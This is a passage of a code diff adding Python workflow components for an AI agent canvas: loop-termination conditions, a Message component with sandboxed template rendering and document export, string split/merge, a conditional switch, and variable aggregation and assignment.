+                return var.startswith(value)
+            elif operator == "end with":
+                return var.endswith(value)
+            elif operator == "is":
+                return var == value
+            elif operator == "is not":
+                return var != value
+            elif operator == "empty":
+                return var == ""
+            elif operator == "not empty":
+                return var != ""
+
+        elif isinstance(var, bool):
+            if operator == "is":
+                return var is value
+            elif operator == "is not":
+                return var is not value
+            elif operator == "empty":
+                return var is None
+            elif operator == "not empty":
+                return var is not None
+
+        elif isinstance(var, (int, float)):
+            if operator == "=":
+                return var == value
+            elif operator == "≠":
+                return var != value
+            elif operator == ">":
+                return var > value
+            elif operator == "<":
+                return var < value
+            elif operator == "≥":
+                return var >= value
+            elif operator == "≤":
+                return var <= value
+            elif operator == "empty":
+                return var is None
+            elif operator == "not empty":
+                return var is not None
+
+        elif isinstance(var, dict):
+            if operator == "empty":
+                return len(var) == 0
+            elif operator == "not empty":
+                return len(var) > 0
+
+        elif isinstance(var, list):
+            if operator == "contains":
+                return value in var
+            elif operator == "not contains":
+                return value not in var
+
+            elif operator == "is":
+                return var == value
+            elif operator == "is not":
+                return var != value
+
+            elif operator == "empty":
+                return len(var) == 0
+            elif operator == "not empty":
+                return len(var) > 0
+        elif var is None:
+            if operator == "empty":
+                return True
+            return False
+
+        raise Exception(f"Invalid operator: {operator}")
+
+    def end(self):
+        if self._idx == -1:
+            return True
+        parent = self.get_parent()
+        logical_operator = parent._param.logical_operator if hasattr(parent._param, "logical_operator") else "and"
+        conditions = []
+        for item in parent._param.loop_termination_condition:
+            if not item.get("variable") or not item.get("operator"):
+                raise ValueError("Loop condition is incomplete.")
+            var = self._canvas.get_variable_value(item["variable"])
+            operator = item["operator"]
+            input_mode = item.get("input_mode", "constant")
+
+            if input_mode == "variable":
+                value = self._canvas.get_variable_value(item.get("value", ""))
+            elif input_mode == "constant":
+                value = item.get("value", "")
+            else:
+                raise ValueError("Invalid input mode.")
+            conditions.append(self.evaluate_condition(var, operator, value))
+        should_end = all(conditions) if logical_operator == "and" else any(conditions) if logical_operator == "or" else None
+        if should_end is None:
+            raise ValueError("Invalid logical operator,should be 'and' or 'or'.")
+
+        if should_end:
+            self._idx = -1
+            return True
+
+        return False
+
+    def next(self):
+        if self._idx == -1:
+            self._idx = 0
+        else:
+            self._idx += 1
+            if self._idx >= len(self._items):
+                self._idx = -1
+        return False
+
+    def thoughts(self) -> str:
+        return "Next turn..."

agent/component/message.py

@@ -0,0 +1,574 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import asyncio
+
+try:
+    import nest_asyncio
+
+    nest_asyncio.apply()
+except Exception:
+    pass
+import inspect
+import json
+import os
+import random
+import re
+import logging
+import tempfile
+from functools import partial
+from typing import Any
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from jinja2.sandbox import SandboxedEnvironment
+
+_jinja2_sandbox = SandboxedEnvironment()
+
+from common.connection_utils import timeout
+from common.misc_utils import get_uuid
+from common import settings
+
+from api.db.joint_services.memory_message_service import queue_save_to_memory_task
+
+
+class MessageParam(ComponentParamBase):
+    """
+    Define the Message component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.content = []
+        self.stream = True
+        self.output_format = None  # default output format
+        self.auto_play = False
+        self.outputs = {"content": {"type": "str"}, "downloads": {"type": "list"}}
+
+    def check(self):
+        self.check_empty(self.content, "[Message] Content")
+        self.check_boolean(self.stream, "[Message] stream")
+        return True
+
+
+class Message(ComponentBase):
+    component_name = "Message"
+
+    @staticmethod
+    def _is_download_info(value: Any) -> bool:
+        return isinstance(value, dict) and all(key in value for key in ("doc_id", "filename", "mime_type"))
+
+    @staticmethod
+    def _download_info_includes_content(value: Any) -> bool:
+        return isinstance(value, dict) and bool(value.get("include_download_info_in_content"))
+
+    @staticmethod
+    def _normalize_download_info(value: Any) -> Any:
+        if isinstance(value, list):
+            return [Message._normalize_download_info(item) for item in value]
+
+        if not isinstance(value, dict):
+            return value
+
+        normalized = value.copy()
+        normalized.pop("include_download_info_in_content", None)
+        return normalized
+
+    def _extract_downloads(self, value: Any) -> list[dict[str, Any]]:
+        if isinstance(value, str):
+            try:
+                value = json.loads(value)
+            except Exception:
+                return []
+
+        if self._is_download_info(value):
+            return [value]
+
+        if isinstance(value, list) and all(self._is_download_info(item) for item in value):
+            return value
+
+        return []
+
+    def _stringify_message_value(
+        self,
+        value: Any,
+        delimiter: str = None,
+        downloads: list[dict[str, Any]] | None = None,
+        fallback_to_str: bool = False,
+    ) -> str:
+        extracted_downloads = self._extract_downloads(value)
+        if extracted_downloads:
+            if downloads is not None:
+                downloads.extend(self._normalize_download_info(item) for item in extracted_downloads)
+            if any(self._download_info_includes_content(item) for item in extracted_downloads):
+                if isinstance(value, str):
+                    try:
+                        value = json.loads(value)
+                    except Exception:
+                        return value
+                try:
+                    return json.dumps(self._normalize_download_info(value), ensure_ascii=False)
+                except Exception:
+                    if fallback_to_str:
+                        return str(value)
+                    return ""
+            return ""
+
+        if value is None:
+            return ""
+
+        if isinstance(value, list) and delimiter:
+            return delimiter.join([str(vv) for vv in value])
+
+        if isinstance(value, str):
+            return value
+
+        try:
+            return json.dumps(value, ensure_ascii=False)
+        except Exception:
+            if fallback_to_str:
+                return str(value)
+            return ""
+
+    def get_input_elements(self) -> dict[str, Any]:
+        return self.get_input_elements_from_text("".join(self._param.content))
+
+    def get_kwargs(
+        self,
+        script: str,
+        kwargs: dict = {},
+        delimiter: str = None,
+        downloads: list[dict[str, Any]] | None = None,
+    ) -> tuple[str, dict[str, str | list | Any]]:
+        for k, v in self.get_input_elements_from_text(script).items():
+            if k in kwargs:
+                continue
+            v = v["value"]
+            if v is None:
+                v = ""
+            ans = ""
+            if isinstance(v, partial):
+                iter_obj = v()
+                if inspect.isasyncgen(iter_obj):
+                    ans = asyncio.run(self._consume_async_gen(iter_obj))
+                else:
+                    for t in iter_obj:
+                        ans += t
+            else:
+                ans = self._stringify_message_value(v, delimiter, downloads)
+            if not ans:
+                ans = ""
+            kwargs[k] = ans
+            self.set_input_value(k, ans)
+
+        _kwargs = {}
+        for n, v in kwargs.items():
+            _n = re.sub("[@:.]", "_", n)
+            script = re.sub(r"\{%s\}" % re.escape(n), _n, script)
+            _kwargs[_n] = v
+        return script, _kwargs
+
+    async def _consume_async_gen(self, agen):
+        buf = ""
+        async for t in agen:
+            buf += t
+        return buf
+
+    async def _stream(self, rand_cnt: str):
+        s = 0
+        all_content = ""
+        cache = {}
+        downloads = []
+        for r in re.finditer(self.variable_ref_patt, rand_cnt, flags=re.DOTALL):
+            if self.check_if_canceled("Message streaming"):
+                return
+
+            all_content += rand_cnt[s : r.start()]
+            yield rand_cnt[s : r.start()]
+            s = r.end()
+            exp = r.group(1)
+            if exp in cache:
+                yield cache[exp]
+                all_content += cache[exp]
+                continue
+
+            v = self._canvas.get_variable_value(exp)
+            if v is None:
+                v = ""
+            if isinstance(v, partial):
+                cnt = ""
+                iter_obj = v()
+                if inspect.isasyncgen(iter_obj):
+                    async for t in iter_obj:
+                        if self.check_if_canceled("Message streaming"):
+                            return
+
+                        all_content += t
+                        cnt += t
+                        yield t
+                else:
+                    for t in iter_obj:
+                        if self.check_if_canceled("Message streaming"):
+                            return
+
+                        all_content += t
+                        cnt += t
+                        yield t
+                self.set_input_value(exp, cnt)
+                continue
+            elif inspect.isawaitable(v):
+                v = await v
+            v = self._stringify_message_value(v, downloads=downloads, fallback_to_str=True)
+            yield v
+            self.set_input_value(exp, v)
+            all_content += v
+            cache[exp] = v
+
+        if s < len(rand_cnt):
+            if self.check_if_canceled("Message streaming"):
+                return
+
+            all_content += rand_cnt[s:]
+            yield rand_cnt[s:]
+
+        self.set_output("downloads", downloads)
+        self.set_output("content", all_content)
+        self._convert_content(all_content)
+        await self._save_to_memory(all_content)
+
+    def _is_jinjia2(self, content: str) -> bool:
+        patt = [r"\{%.*%\}", "{{", "}}"]
+        return any([re.search(p, content) for p in patt])
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Message processing"):
+            return
+
+        rand_cnt = random.choice(self._param.content)
+        if self._param.stream and not self._is_jinjia2(rand_cnt):
+            self.set_output("content", partial(self._stream, rand_cnt))
+            return
+
+        downloads = []
+        rand_cnt, kwargs = self.get_kwargs(rand_cnt, kwargs, downloads=downloads)
+        template = _jinja2_sandbox.from_string(rand_cnt)
+        try:
+            content = template.render(kwargs)
+        except Exception as e:
+            logging.warning(f"Jinja2 template rendering failed: {e}")
+            content = rand_cnt  # fallback to unrendered content
+
+        if self.check_if_canceled("Message processing"):
+            return
+
+        for n, v in kwargs.items():
+            if v is not None:
+                content = re.sub(n, str(v), content)
+
+        self.set_output("downloads", downloads)
+        self.set_output("content", content)
+        self._convert_content(content)
+        try:
+            loop = asyncio.get_running_loop()
+        except RuntimeError:
+            asyncio.run(self._save_to_memory(content))
+        else:
+            asyncio.run_coroutine_threadsafe(self._save_to_memory(content), loop)
+
+    def thoughts(self) -> str:
+        return ""
+
+    def _parse_markdown_table_lines(self, table_lines: list):
+        """
+        Parse a list of Markdown table lines into a pandas DataFrame.
+
+        Args:
+            table_lines: List of strings, each representing a row in the Markdown table
+                        (excluding separator lines like |---|---|)
+
+        Returns:
+            pandas DataFrame with the table data, or None if parsing fails
+        """
+        import pandas as pd
+
+        if not table_lines:
+            return None
+
+        rows = []
+        headers = None
+
+        def _coerce_excel_cell_type(cell: str):
+            # Convert markdown cell text to native numeric types when safe,so Excel writes numeric cells instead of text.
+            if not isinstance(cell, str):
+                return cell
+
+            value = cell.strip()
+            if value == "":
+                return ""
+
+            # Keep values like "00123" as text to avoid losing leading zeros.
+            if re.match(r"^[+-]?0\d+$", value):
+                return cell
+
+            # Support thousand separators like 1,234 or 1,234.56
+            numeric_candidate = value
+            if re.match(r"^[+-]?\d{1,3}(,\d{3})+(\.\d+)?$", value):
+                numeric_candidate = value.replace(",", "")
+
+            if re.match(r"^[+-]?\d+$", numeric_candidate):
+                try:
+                    return int(numeric_candidate)
+                except ValueError:
+                    return cell
+
+            if re.match(r"^[+-]?(\d+\.\d+|\d+\.|\.\d+)([eE][+-]?\d+)?$", numeric_candidate) or re.match(r"^[+-]?\d+[eE][+-]?\d+$", numeric_candidate):
+                try:
+                    return float(numeric_candidate)
+                except ValueError:
+                    return cell
+
+            return cell
+
+        for line in table_lines:
+            # Split by | and clean up
+            cells = [cell.strip() for cell in line.split("|")]
+            # Remove empty first and last elements from split (caused by leading/trailing |)
+            cells = [c for c in cells if c]
+
+            if headers is None:
+                headers = cells
+            else:
+                cells = [_coerce_excel_cell_type(c) for c in cells]
+                rows.append(cells)
+
+        if headers and rows:
+            # Ensure all rows have same number of columns as headers
+            normalized_rows = []
+            for row in rows:
+                while len(row) < len(headers):
+                    row.append("")
+                normalized_rows.append(row[: len(headers)])
+
+            return pd.DataFrame(normalized_rows, columns=headers)
+
+        return None
+
+    @staticmethod
+    def _strip_thinking(content: str) -> str:
+        """Remove <think>...</think> reasoning blocks before document export.
+
+        Reasoning models (e.g. DeepSeek-R1, OpenAI o1) embed chain-of-thought
+        inside ``<think>`` tags. These blocks must not leak into exported
+        Word/PDF/Excel documents.
+        """
+        if not isinstance(content, str) or not content:
+            return content
+        # Remove complete think blocks (DOTALL so newlines are matched)
+        cleaned = re.sub(r"<think>.*?</think>", "", content, flags=re.DOTALL)
+        # Remove any dangling unclosed <think> opening tag + trailing content
+        cleaned = re.sub(r"<think>.*$", "", cleaned, flags=re.DOTALL)
+        # Remove leftover standalone tags
+        cleaned = re.sub(r"</?think>", "", cleaned)
+        # Collapse 3+ consecutive newlines left behind by removed blocks
+        cleaned = re.sub(r"\n{3,}", "\n\n", cleaned)
+        return cleaned.strip()
+
+    def _convert_content(self, content):
+        if not self._param.output_format:
+            return
+
+        content = self._strip_thinking(content)
+        import pypandoc
+
+        doc_id = get_uuid()
+
+        if self._param.output_format.lower() not in {"markdown", "html", "pdf", "docx", "xlsx"}:
+            self._param.output_format = "markdown"
+
+        try:
+            if self._param.output_format in {"markdown", "html"}:
+                if isinstance(content, str):
+                    converted = pypandoc.convert_text(
+                        content,
+                        to=self._param.output_format,
+                        format="markdown",
+                    )
+                else:
+                    converted = pypandoc.convert_file(
+                        content,
+                        to=self._param.output_format,
+                        format="markdown",
+                    )
+
+                binary_content = converted.encode("utf-8")
+
+            elif self._param.output_format == "xlsx":
+                import pandas as pd
+                from io import BytesIO
+
+                # Debug: log the content being parsed
+                logging.info(f"XLSX Parser: Content length={len(content) if content else 0}, first 500 chars: {content[:500] if content else 'None'}")
+
+                # Try to parse ALL Markdown tables from the content
+                # Each table will be written to a separate sheet
+                tables = []  # List of (sheet_name, dataframe)
+
+                if isinstance(content, str):
+                    lines = content.strip().split("\n")
+                    logging.info(f"XLSX Parser: Total lines={len(lines)}, lines starting with '|': {sum(1 for line in lines if line.strip().startswith('|'))}")
+                    current_table_lines = []
+                    current_table_title = None
+                    pending_title = None
+                    in_table = False
+                    table_count = 0
+
+                    for i, line in enumerate(lines):
+                        stripped = line.strip()
+
+                        # Check for potential table title (lines before a table)
+                        # Look for patterns like "Table 1:", "## Table", or markdown headers
+                        if not in_table and stripped and not stripped.startswith("|"):
+                            # Check if this could be a table title
+                            lower_stripped = stripped.lower()
+                            if lower_stripped.startswith("table") or stripped.startswith("#") or ":" in stripped:
+                                pending_title = stripped.lstrip("#").strip()
+
+                        if stripped.startswith("|") and "|" in stripped[1:]:
+                            # Check if this is a separator line (|---|---|)
+                            cleaned = stripped.replace(" ", "").replace("|", "").replace("-", "").replace(":", "")
+                            if cleaned == "":
+                                continue  # Skip separator line
+
+                            if not in_table:
+                                # Starting a new table
+                                in_table = True
+                                current_table_lines = []
+                                current_table_title = pending_title
+                                pending_title = None
+
+                            current_table_lines.append(stripped)
+
+                        elif in_table and not stripped.startswith("|"):
+                            # End of current table - save it
+                            if current_table_lines:
+                                df = self._parse_markdown_table_lines(current_table_lines)
+                                if df is not None and not df.empty:
+                                    table_count += 1
+                                    # Generate sheet name
+                                    if current_table_title:
+                                        # Clean and truncate title for sheet name
+                                        sheet_name = current_table_title[:31]
+                                        sheet_name = sheet_name.replace("/", "_").replace("\\", "_").replace("*", "").replace("?", "").replace("[", "").replace("]", "").replace(":", "")
+                                    else:
+                                        sheet_name = f"Table_{table_count}"
+                                    tables.append((sheet_name, df))
+
+                            # Reset for next table
+                            in_table = False
+                            current_table_lines = []
+                            current_table_title = None
+
+                            # Check if this line could be a title for the next table
+                            if stripped:
+                                lower_stripped = stripped.lower()
+                                if lower_stripped.startswith("table") or stripped.startswith("#") or ":" in stripped:
+                                    pending_title = stripped.lstrip("#").strip()
+
+                    # Don't forget the last table if content ends with a table
+                    if in_table and current_table_lines:
+                        df = self._parse_markdown_table_lines(current_table_lines)
+                        if df is not None and not df.empty:
+                            table_count += 1
+                            if current_table_title:
+                                sheet_name = current_table_title[:31]
+                                sheet_name = sheet_name.replace("/", "_").replace("\\", "_").replace("*", "").replace("?", "").replace("[", "").replace("]", "").replace(":", "")
+                            else:
+                                sheet_name = f"Table_{table_count}"
+                            tables.append((sheet_name, df))
+
+                # Fallback: if no tables found, create single sheet with content
+                if not tables:
+                    df = pd.DataFrame({"Content": [content if content else ""]})
+                    tables = [("Data", df)]
+
+                # Write all tables to Excel, each in a separate sheet
+                excel_io = BytesIO()
+                with pd.ExcelWriter(excel_io, engine="openpyxl") as writer:
+                    used_names = set()
+                    for sheet_name, df in tables:
+                        # Ensure unique sheet names
+                        original_name = sheet_name
+                        counter = 1
+                        while sheet_name in used_names:
+                            suffix = f"_{counter}"
+                            sheet_name = original_name[: 31 - len(suffix)] + suffix
+                            counter += 1
+                        used_names.add(sheet_name)
+                        df.to_excel(writer, sheet_name=sheet_name, index=False)
+
+                excel_io.seek(0)
+                binary_content = excel_io.read()
+
+                logging.info(f"Generated Excel with {len(tables)} sheet(s): {[t[0] for t in tables]}")
+
+            else:  # pdf, docx
+                with tempfile.NamedTemporaryFile(suffix=f".{self._param.output_format}", delete=False) as tmp:
+                    tmp_name = tmp.name
+
+                try:
+                    if isinstance(content, str):
+                        pypandoc.convert_text(
+                            content,
+                            to=self._param.output_format,
+                            format="markdown",
+                            outputfile=tmp_name,
+                        )
+                    else:
+                        pypandoc.convert_file(
+                            content,
+                            to=self._param.output_format,
+                            format="markdown",
+                            outputfile=tmp_name,
+                        )
+
+                    with open(tmp_name, "rb") as f:
+                        binary_content = f.read()
+
+                finally:
+                    if os.path.exists(tmp_name):
+                        os.remove(tmp_name)
+
+            settings.STORAGE_IMPL.put(self._canvas._tenant_id, doc_id, binary_content)
+            self.set_output("attachment", {"doc_id": doc_id, "format": self._param.output_format, "file_name": f"{doc_id[:8]}.{self._param.output_format}"})
+
+            logging.info(f"Converted content uploaded as {doc_id} (format={self._param.output_format})")
+
+        except Exception as e:
+            logging.error(f"Error converting content to {self._param.output_format}: {e}")
+
+    async def _save_to_memory(self, content):
+        if not hasattr(self._param, "memory_ids") or not self._param.memory_ids:
+            return True, "No memory selected."
+
+        user_id = self._param.user_id if hasattr(self._param, "user_id") else ""
+        if user_id:
+            import re
+
+            # is variable
+            if re.match(r"^{.*}$", user_id):
+                user_id = self._canvas.get_variable_value(user_id)
+
+        message_dict = {"user_id": user_id, "agent_id": self._canvas._id, "session_id": self._canvas.task_id, "user_input": self._canvas.get_sys_query(), "agent_response": content}
+        return await queue_save_to_memory_task(self._param.memory_ids, message_dict)

agent/component/string_transform.py

@@ -0,0 +1,107 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import re
+from abc import ABC
+from typing import Any
+
+from jinja2.sandbox import SandboxedEnvironment
+
+_jinja2_sandbox = SandboxedEnvironment()
+from agent.component.base import ComponentParamBase
+from common.connection_utils import timeout
+from .message import Message
+
+
+class StringTransformParam(ComponentParamBase):
+    """
+    Define the code sandbox component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.method = "split"
+        self.script = ""
+        self.split_ref = ""
+        self.delimiters = [","]
+        self.outputs = {"result": {"value": "", "type": "string"}}
+
+    def check(self):
+        self.check_valid_value(self.method, "Support method", ["split", "merge"])
+        self.check_empty(self.delimiters, "delimiters")
+
+
+class StringTransform(Message, ABC):
+    component_name = "StringTransform"
+
+    def get_input_elements(self) -> dict[str, Any]:
+        return self.get_input_elements_from_text(self._param.script)
+
+    def get_input_form(self) -> dict[str, dict]:
+        if self._param.method == "split":
+            return {"line": {"name": "String", "type": "line"}}
+        return {k: {"name": o["name"], "type": "line"} for k, o in self.get_input_elements_from_text(self._param.script).items()}
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("StringTransform processing"):
+            return
+
+        if self._param.method == "split":
+            self._split(kwargs.get("line"))
+        else:
+            self._merge(kwargs)
+
+    def _split(self, line: str | None = None):
+        if self.check_if_canceled("StringTransform split processing"):
+            return
+
+        var = self._canvas.get_variable_value(self._param.split_ref) if not line else line
+        if not var:
+            var = ""
+        assert isinstance(var, str), "The input variable is not a string: {}".format(type(var))
+        self.set_input_value(self._param.split_ref, var)
+
+        res = []
+        for i, s in enumerate(re.split(r"(%s)" % ("|".join([re.escape(d) for d in self._param.delimiters])), var, flags=re.DOTALL)):
+            if i % 2 == 1:
+                continue
+            res.append(s)
+        self.set_output("result", res)
+
+    def _merge(self, kwargs: dict[str, str] = {}):
+        if self.check_if_canceled("StringTransform merge processing"):
+            return
+
+        script = self._param.script
+        script, kwargs = self.get_kwargs(script, kwargs, self._param.delimiters[0])
+
+        if self._is_jinjia2(script):
+            template = _jinja2_sandbox.from_string(script)
+            try:
+                script = template.render(kwargs)
+            except Exception:
+                pass
+
+        for k, v in kwargs.items():
+            if v is None:
+                v = ""
+            script = re.sub(k, lambda match: v, script)
+
+        self.set_output("result", script)
+
+    def thoughts(self) -> str:
+        return f"It's {self._param.method}ing."

agent/component/switch.py

@@ -0,0 +1,138 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import numbers
+import os
+from abc import ABC
+from typing import Any
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from common.connection_utils import timeout
+
+
+class SwitchParam(ComponentParamBase):
+    """
+    Define the Switch component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        """
+        {
+            "logical_operator" : "and | or"
+            "items" : [
+                            {"cpn_id": "categorize:0", "operator": "contains", "value": ""},
+                            {"cpn_id": "categorize:0", "operator": "contains", "value": ""},...],
+            "to": ""
+        }
+        """
+        self.conditions = []
+        self.end_cpn_ids = []
+        self.operators = ["contains", "not contains", "start with", "end with", "empty", "not empty", "=", "≠", ">", "<", "≥", "≤"]
+
+    def check(self):
+        self.check_empty(self.conditions, "[Switch] conditions")
+        for cond in self.conditions:
+            if not cond["to"]:
+                raise ValueError("[Switch] 'To' can not be empty!")
+        self.check_empty(self.end_cpn_ids, "[Switch] the ELSE/Other destination can not be empty.")
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {"urls": {"name": "URLs", "type": "line"}}
+
+
+class Switch(ComponentBase, ABC):
+    component_name = "Switch"
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3)))
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Switch processing"):
+            return
+
+        for cond in self._param.conditions:
+            if self.check_if_canceled("Switch processing"):
+                return
+
+            res = []
+            for item in cond["items"]:
+                if self.check_if_canceled("Switch processing"):
+                    return
+
+                if not item["cpn_id"]:
+                    continue
+                cpn_v = self._canvas.get_variable_value(item["cpn_id"])
+                self.set_input_value(item["cpn_id"], cpn_v)
+                operatee = item.get("value", "")
+                if isinstance(cpn_v, numbers.Number):
+                    operatee = float(operatee)
+                res.append(self.process_operator(cpn_v, item["operator"], operatee))
+                if cond["logical_operator"] != "and" and any(res):
+                    self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
+                    self.set_output("_next", cond["to"])
+                    return
+
+            if res and all(res):
+                self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
+                self.set_output("_next", cond["to"])
+                return
+
+        self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in self._param.end_cpn_ids])
+        self.set_output("_next", self._param.end_cpn_ids)
+
+    def process_operator(self, input: Any, operator: str, value: Any) -> bool:
+        if operator in ("contains", "not contains", "start with", "end with"):
+            input = "" if input is None else str(input)
+            value = "" if value is None else str(value)
+        if operator == "contains":
+            return True if value.lower() in input.lower() else False
+        elif operator == "not contains":
+            return True if value.lower() not in input.lower() else False
+        elif operator == "start with":
+            return True if input.lower().startswith(value.lower()) else False
+        elif operator == "end with":
+            return True if input.lower().endswith(value.lower()) else False
+        elif operator == "empty":
+            return True if not input else False
+        elif operator == "not empty":
+            return True if input else False
+        elif operator == "=":
+            return True if input == value else False
+        elif operator == "≠":
+            return True if input != value else False
+        elif operator == ">":
+            try:
+                return True if float(input) > float(value) else False
+            except Exception:
+                return True if input > value else False
+        elif operator == "<":
+            try:
+                return True if float(input) < float(value) else False
+            except Exception:
+                return True if input < value else False
+        elif operator == "≥":
+            try:
+                return True if float(input) >= float(value) else False
+            except Exception:
+                return True if input >= value else False
+        elif operator == "≤":
+            try:
+                return True if float(input) <= float(value) else False
+            except Exception:
+                return True if input <= value else False
+
+        raise ValueError(f"Not supported operator: {operator}")
+
+    def thoughts(self) -> str:
+        return "I’m weighing a few options and will pick the next step shortly."

agent/component/variable_aggregator.py

@@ -0,0 +1,80 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+
+from typing import Any
+import os
+
+from common.connection_utils import timeout
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class VariableAggregatorParam(ComponentParamBase):
+    """
+    Parameters for VariableAggregator
+
+    - groups: list of dicts {"group_name": str, "variables": [variable selectors]}
+    """
+
+    def __init__(self):
+        super().__init__()
+        # each group expects: {"group_name": str, "variables": List[str]}
+        self.groups = []
+
+    def check(self):
+        self.check_empty(self.groups, "[VariableAggregator] groups")
+        for g in self.groups:
+            if not g.get("group_name"):
+                raise ValueError("[VariableAggregator] group_name can not be empty!")
+            if not g.get("variables"):
+                raise ValueError(f"[VariableAggregator] variables of group `{g.get('group_name')}` can not be empty")
+            if not isinstance(g.get("variables"), list):
+                raise ValueError(f"[VariableAggregator] variables of group `{g.get('group_name')}` should be a list of strings")
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "variables": {
+                "name": "Variables",
+                "type": "list",
+            }
+        }
+
+
+class VariableAggregator(ComponentBase):
+    component_name = "VariableAggregator"
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3)))
+    def _invoke(self, **kwargs):
+        # Group mode: for each group, pick the first available variable
+        for group in self._param.groups:
+            gname = group.get("group_name")
+
+            # record candidate selectors within this group
+            self.set_input_value(f"{gname}.variables", list(group.get("variables", [])))
+            for selector in group.get("variables", []):
+                val = self._canvas.get_variable_value(selector["value"])
+                if val:
+                    self.set_output(gname, val)
+                    break
+
+    @staticmethod
+    def _to_object(value: Any) -> Any:
+        # Try to convert value to serializable object if it has to_object()
+        try:
+            return value.to_object()  # type: ignore[attr-defined]
+        except Exception:
+            return value
+
+    def thoughts(self) -> str:
+        return "Aggregating variables from canvas and grouping as configured."

agent/component/variable_assigner.py

@@ -0,0 +1,192 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import os
+import numbers
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.utils.api_utils import timeout
+
+
+class VariableAssignerParam(ComponentParamBase):
+    """
+    Define the Variable Assigner component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.variables = []
+
+    def check(self):
+        return True
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {"items": {"type": "json", "name": "Items"}}
+
+
+class VariableAssigner(ComponentBase, ABC):
+    component_name = "VariableAssigner"
+    _NO_PARAMETER_OPERATORS = {"clear", "remove_first", "remove_last"}
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        if not isinstance(self._param.variables, list):
+            return
+        else:
+            for item in self._param.variables:
+                variable = item.get("variable")
+                operator = item.get("operator")
+                parameter = item.get("parameter")
+
+                if any([not variable, not operator]):
+                    raise ValueError("Variable is not complete.")
+                if operator not in self._NO_PARAMETER_OPERATORS and parameter is None:
+                    raise ValueError("Variable is not complete.")
+                variable_value = self._canvas.get_variable_value(variable)
+                new_variable = self._operate(variable_value, operator, parameter)
+                self._canvas.set_variable_value(variable, new_variable)
+
+    def _operate(self, variable, operator, parameter):
+        if operator == "overwrite":
+            return self._overwrite(parameter)
+        elif operator == "clear":
+            return self._clear(variable)
+        elif operator == "set":
+            return self._set(variable, parameter)
+        elif operator == "append":
+            return self._append(variable, parameter)
+        elif operator == "extend":
+            return self._extend(variable, parameter)
+        elif operator == "remove_first":
+            return self._remove_first(variable)
+        elif operator == "remove_last":
+            return self._remove_last(variable)
+        elif operator == "+=":
+            return self._add(variable, parameter)
+        elif operator == "-=":
+            return self._subtract(variable, parameter)
+        elif operator == "*=":
+            return self._multiply(variable, parameter)
+        elif operator == "/=":
+            return self._divide(variable, parameter)
+        else:
+            return
+
+    def _overwrite(self, parameter):
+        return self._canvas.get_variable_value(parameter)
+
+    def _clear(self, variable):
+        if isinstance(variable, list):
+            return []
+        elif isinstance(variable, str):
+            return ""
+        elif isinstance(variable, dict):
+            return {}
